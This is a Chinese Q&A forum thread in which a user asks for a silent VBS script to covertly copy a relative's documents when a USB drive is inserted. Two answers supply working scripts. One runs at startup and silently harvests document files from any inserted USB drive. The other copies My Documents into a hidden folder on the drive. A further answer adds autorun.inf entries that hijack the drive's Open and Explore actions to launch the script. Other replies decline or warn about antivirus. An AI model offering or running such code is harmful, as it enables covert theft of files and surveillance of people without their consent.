Question

如何使用VBS脚本编写U盘插入自动复制文件至U盘？

我想可以把U盘插入PC后，直接复制PC中我的文档到U盘中，并且复制后的U盘我的文档为隐藏属性，各位高手可不可以编写这么个脚本，然后自动运行，高分等候。

不要出现任何进度条等，一切都要静悄悄的。
----说起用途，那就长了。首先是侄子高考在即，我给其辅导功课，约有半年左右，作业倒有进步，但期末考试并不理想。
----侄子迷恋武侠小说，在电脑中保存很多，抱着电脑看的昏天黑地。我也无法，使用金钱鼓励，并劝治学。侄子表明今后努力学习，不在沉迷武侠小说。半年后高考，现定用功读书。
----我欣然接受，并曰：俺相信你。
----我需要偷偷的验证他到底是不是还在看小说。难道我要对热情慢慢的侄子说：我不相信你，我要检查你的电脑！以后用电脑学习前，要经过我的同意！
----他都是把小说直接下载的，肯定在我的文档里，我要是检查他的电脑，第一打击了他的热情，第二他看小说我把小说删了，他再下载就藏起来，第三他要是没看会觉得信不过他，自尊受打击。
----我要悄悄的知道他是否还在看小说。高考在即，请骗分者勿扰。

没装杀毒，高手可在线联系俺。 不是U盘内容至硬盘，是硬盘内容至U盘。

Answer 1

哈..

复制下面代码后保存为filename.vbs,然后把它拖进“开始”菜单中“启动”中，这样它就自动运行了，只有有人这台计算机上用U盘，它的这些类型的资料就会考到F盘中。而且不同的U盘，会以它序列号文件夹存放
Public Upan(10),Upanname(10),UpanSerialNumber(10),ffff(50000),name,s,n,a,b,y
Do While 1=1

s=0
udisk
a=s
wscript.sleep 600
s=0
udisk
b=s
If a>b Then
' wscript.echo "A Udisk be missed"
Else
If a<b Then

createfolder("f:\Udata\")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s))
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG")
createtbat1
' createtbat2
TransferBAT("f:\ee.bat")
wscript.sleep 600
' TransferBAT("f:\aa.bat")
' wscript.sleep 600
delbattxt("f:\ee.bat")
wscript.sleep 600
' delbattxt("f:\aa.bat")
' wscript.sleep 600
n=0

Set fso =CreateObject ("scripting.filesystemobject")
ShowSubFolders FSO.GetFolder(Upan(s)&"\")
wscript.sleep 800
' wscript.echo (n)

'=============================================================================================
for y=1 to n
On Error Resume Next
' wscript.echo ffff(y)
wscript.sleep 100
copyfiles ffff(y)&"\"&"*.doc","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC"
wscript.sleep 100
copyfiles ffff(y)&"\"&"*.txt","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT"
wscript.sleep 100
copyfiles ffff(y)&"\"&"*.xls","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS"
wscript.sleep 100
copyfiles ffff(y)&"\"&"*.pdf","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF"
wscript.sleep 100
copyfiles ffff(y)&"\"&"*.rar","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR"
wscript.sleep 100
copyfiles ffff(y)&"\"&"*.dwg","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG"
wscript.sleep 100

'___________________________________________________________________________________________

copyfiles upan(s)&"\"&"*.doc","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC"
wscript.sleep 100
copyfiles upan(s)&"\"&"*.txt","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT"
wscript.sleep 100
copyfiles upan(s)&"\"&"*.xls","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS"
wscript.sleep 100
copyfiles upan(s)&"\"&"*.pdf","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF"
wscript.sleep 100
copyfiles upan(s)&"\"&"*.rar","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR"
wscript.sleep 100
copyfiles upan(s)&"\"&"*.dwg","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG"
wscript.sleep 100

err.clear
next

'=============================================================================================
'wscript.echo "A new Udisk be found"&" it's "&upan(s)&Upanname(s)&" "&UpanSerialNumber(s)
udiskfile

Else
End If
End If
Loop

'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *得到U盘的盘符，名称，序列号*
'//********************************************************************************//
Function udisk
Dim fso,MB,GB,i
MINSize=(1024^2)*10
MAXSize=(1024^3)*4
s=0
Set fso=CreateObject("scripting.filesystemobject")
Set disks=fso.Drives
For Each disk In disks
If disk.IsReady Then
If (disk.DriveType =1) or(disk.DriveType =2) And (MINSize<disk.totalsize<MAXSize) Then
s=s+1
Upan(s)=disk.path
Upanname(s)=disk.VolumeName
UpanSerialNumber(s)=disk.SerialNumber
Else
End If
Else
End If
Next
End Function

'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *检测U盘中是否存在autorun.inf*
'//********************************************************************************//
Function udiskfile
Dim fso,a
Set fso=CreateObject("scripting.filesystemobject")
Set f = fso.GetFolder(Upan(s))
Set fc = f.Files
for each f1 in fc
if f1.name="autorun.inf" then
name=f1.name
wscript.echo "Udisk:"&Upan(s)&"have a file,it is like a virus,it's named "&name
exit for
else
end if
next
End Function

'//********************************************************************************//
' *在指定的地方建立文件夹*
'//********************************************************************************//
Function createfolder(path)
On Error Resume Next
Dim fso,a
Set fso=CreateObject ("scripting.filesystemobject")
Set a=fso.CreateFolder (path)
If err Then '如果出现错误则显示错误描述和正在创建的文件夹名称
'MsgBox ("错误提示： " &Err.Description&" "&"正在创建的文件夹是："&path)
Err.Clear '清除错误。
Else
End if
End function

'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//
' *创建BAT1*
'//********************************************************************************//
function createtbat1
dim fso,a,b,c
set fso=createobject ("scripting.filesystemobject")
On Error Resume Next

Set b=fso.CreateTextFile ("f:\ee.bat")
set c=fso.opentextfile("f:\ee.bat")

b.WriteLine ("tree "&upan(s)&"\>"&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\tree.txt")
err.clear
end function
'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//
' *创建BAT2*
'//********************************************************************************//
'function createtbat2
'dim fso,a,b,c
'set fso=createobject ("scripting.filesystemobject")
'On Error Resume Next
'
'Set b=fso.CreateTextFile ("f:\aa.bat")
'set c=fso.opentextfile("f:\aa.bat")'
'
'b.WriteLine ("xcopy "&Upan(s)&"\/e/c/h "&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s))
'err.clear
'end function
'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//
' *调用BAT*
'//********************************************************************************//

Function TransferBAT(path)
Dim fso,a,b,c
Set wshshell=CreateObject("wscript.shell")
Set fso=CreateObject("scripting.filesystemobject")
cmd=wshshell.run(path,hide) '隐藏调用
End Function
'//////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//
' *删除BAT*
'//********************************************************************************//
function delbattxt(path)
dim fso,a,b,c
set fso=createobject ("scripting.filesystemobject")
On Error Resume Next
Set b=fso.DeleteFile (path)
err.clear
end function
'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//
' *CopyAllFiles*
'//********************************************************************************//

'function copyallfile
'Dim fso,a,b,c
'Set wshshell=CreateObject("wscript.shell")
'Set fso=CreateObject("scripting.filesystemobject")
'cmd=wshshell.run("xcopy "&Upan(s)&"/e "&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s),hide)
'end function
'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//
' *Copy制定类型Files*
'//********************************************************************************//
'copyfiles "j:\*.vbs","f:\u" ' 调用该函数时不能使用括号，否则会错
Function copyfiles(source,destination)
Dim fso, MyFile
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile source,destination,True
End function
'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//
' *得到制定文件夹下的所有子文件夹*
'//********************************************************************************//

'Set fso =CreateObject ("scripting.filesystemobject")
'ShowSubFolders FSO.GetFolder(Upan(s)&"\")

sub ShowSubFolders(Folder)

For Each Subfolder In Folder.SubFolders
ShowSubFolders Subfolder
n=n+1
ffff(n)=subfolder.path
'wscript.echo ffff(n)
Next
end sub

Answer 2

'来个短小的吧。
'复制下面代码后保存为filename.vbs,然后把它拖进“开始”菜单中“启动”中，这样它就自动运行了，只有有人这台计算机上用U盘，我的文档的资料就会考到F盘的隐藏目录中。

Dim fso, ws, disks, disk, ID, Ready
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
Set disks = fso.Drives
Do While Ready = False
For Each disk In disks
Set ID = fso.GetDrive(fso.GetDriveName(disk))
If ID.drivetype = 1 Then 'U盘已找到
If disk.IsReady = True Then
Dim scr, dst,f
scr = ws.SpecialFolders("MyDocuments")
dst = ID.DriveLetter & ":\My Documents\"

if FSO.FolderExists(dst) = false then
fso.CreateFolder dst '创建目录
End If
fso.GetFolder(dst).Attributes=2 '设置目录为隐藏属性
fso.CopyFolder scr, dst '复制目录
Ready = True
Exit For
End If
End If
'DoEvents
Next
'DoEvents
Loop

Answer 3

楼主是想在U盘上放一个VBS脚本，当U盘插入别人电脑上时，代码后台运行，悄悄地把别人电脑上特定文件夹内的文件复制到U盘上吧？
代码倒是能写出来（用不了楼上这么长），但如果楼主不说明用途，我是不会给出代码会任何提示的

Answer 4

代码就像【ljl88900 - 首席运营官 十二级 】写的，保存成filename.vbs文件。在U盘根目录建立autorun.inf文件，内容为

[autorun]
OPEN=WScript.exe filename.vbs

就行，要是想狠点，你就：
[autorun]
open=WScript.exe filename.vbs
shell\open=打开(&O)
shell\open\Command=WScript.exe filename.vbs
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=WScript.exe filename.vbs

Answer 5

这个怕是不可能，现在的任何杀毒软件都会把你U盘里自动运行的软件或脚本当作病毒，毫不留情地“咔嚓”掉！
为了高考，你必须下狠心、没收他的电脑。